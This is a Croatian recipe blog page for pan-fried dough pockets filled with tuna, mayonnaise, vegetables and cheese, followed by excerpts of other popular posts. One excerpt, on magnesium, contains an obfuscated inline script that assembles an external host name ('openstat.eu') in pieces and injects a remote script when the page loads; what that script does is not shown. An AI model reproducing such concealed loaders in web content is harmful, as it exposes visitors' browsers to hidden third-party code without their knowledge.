MEKANI ZALOGAJČIĆI PUNJENI TUNOM, SIROM I ZAČINIMA





Mekani zalogajčići punjeni tunom, sirom i začinima 


<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"
     crossorigin="anonymous"></script>


Danas vam donosimo recept za laganu varijaciju na taj omiljeni klasik: cheesy tuna melts pripremaju se u tavi, s mekanim tijestom i bogatim nadjevom od tune, sira, povrća i začina. Rezultat je hrskavo tijesto izvana, sočan i kremast nadjev te aroma koja mami na prvi zalogaj. Idealni su za brzi obrok, druženje s prijateljima ili jednostavno kada želite nešto što uvijek uspije i što svi vole. A ipak su više kul od klasičnog sendviča!



Mekani zalogajčići punjeni tunom, sirom i začinima 


Sastojci:

Tijesto:

  • 250 g brašna
  • 15 ml maslinovog ulja
  • 8 g meda
  • 4 g soli
  • 135 ml vode

Smjesa s tunom:

  • 50 g kiselih krastavaca
  • 100 g crvenog luka
  • 40 g crvene paprike
  • 35 g kukuruza
  • 140 g tune u suncokretovom ulju
  • 1 g čili papričice (cayenne)
  • 0,5 g talijanskog začinskog bilja
  • 100 g majoneze
  • 150 g ribanog sira

Za posluživanje:

  • cheddar sir



Priprema: 


  • U duboku zdjelu stavite brašno, maslinovo ulje, med, sol i vodu. Dobro promiješajte i mijesite 10–12 minuta dok ne dobijete glatko, povezano tijesto.
  • Pokrijte tijesto i ostavite da odmara 10 minuta.
  • U drugoj zdjeli pomiješajte kiseli krastavac, crveni luk, crvenu papriku, kukuruz i dobro ocijeđenu tunu.
  • Dodajte cayenne papričicu, talijanske začine, majonezu i ribani sir. Dobro promiješajte i stavite na stranu.
  • Podijelite tijesto na 13 jednakih dijelova od oko 30 g i oblikujte ih u kuglice.
  • Svaku kuglicu razvaljajte u okrugli disk. Na jednu polovicu stavite približno 50 g nadjeva od tune.
  • Rubove lagano navlažite vodom, preklopite tijesto i čvrsto pritisnite rubove. Po želji dodajte još plošku cheddar sira za ekstra kremastost.
  • Stavite tuna melts na papir za pečenje.
  • Zagrijte tavu s debelim dnom s malo ulja.
  • Pecite tuna melts na srednje jakoj vatri dok ne dobiju zlatno-smeđu boju s obje strane i dok tijesto ne bude pečeno.


Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

LAGANA TALIJANSKA KREMA OD KAVE

Slika
https://www.novilist.hr/life/najpjenastija-niskokaloricna-talijanska-krema-od-kave/ Lagana talijanska krema od kave <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Talijanska kuhinja poznata je po bogatim desertima kojima je teško odoljeti .  No ako želite nešto laganije, a jednako ukusno, ova kremasta slastica mogla bi postati vaš novi favorit. Riječ je o modernoj verziji talijanskog deserta, koji se priprema bez teškog vrhnja i s minimalnim brojem sastojaka. Krema ima osvježavajuću pjenastu teksturu, nježnu aromu kave i prirodnu slatkoću zahvaljujući zaslađivaču poput eritritola. Idealna je za sve koji žele uživati u desertu, ali pritom paziti na unos kalorija. Lagana talijanska krema od kave Sastojci: 150 g leda 120 ml vode 20 do 40 g instant kave (ovisno o jačini koju volite) 40 g eritritola ili drugog zaslađivača malo mlijeka po ukusu...
Pročitajte više

PIKANTNA PITA OD JAJA I KRUMPIRA 🥔

Slika
https://punkufer.dnevnik.hr/clanak/hrana-i-pice/recept-za-rafanatu---958260.html Pikantna pita od jaja i krumpira  <script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-5813352881115803"      crossorigin="anonymous"></script> Ime jela dolazi od talijanske riječi  rafano , što znači hren – ključni sastojak ove fritate. Smatra se da su ga u   Basilicatu donijeli Normani još u 11. stoljeću, a s vremenom je postao neizostavan dio lokalne kuhinje. Zbog svoje dostupnosti, nutritivne vrijednosti i ljekovitih svojstava hren je bio osobito cijenjen među seljacima i pastirima, koji su ga nazivali "tartufom siromašnih" .  Pikantna pita od jaja i krumpira  Sastojci : 300 g krumpira, oguljenog, kuhanog i zgnječenog 8 jaja 80 g sira pecorino, naribanog 40 g hrena, naribanog (svježeg) sol, papar, maslinovo ulje Priprema: Zagrijte grill u pećnici na srednje jaku temperaturu. Vilicom rastresite...
Pročitajte više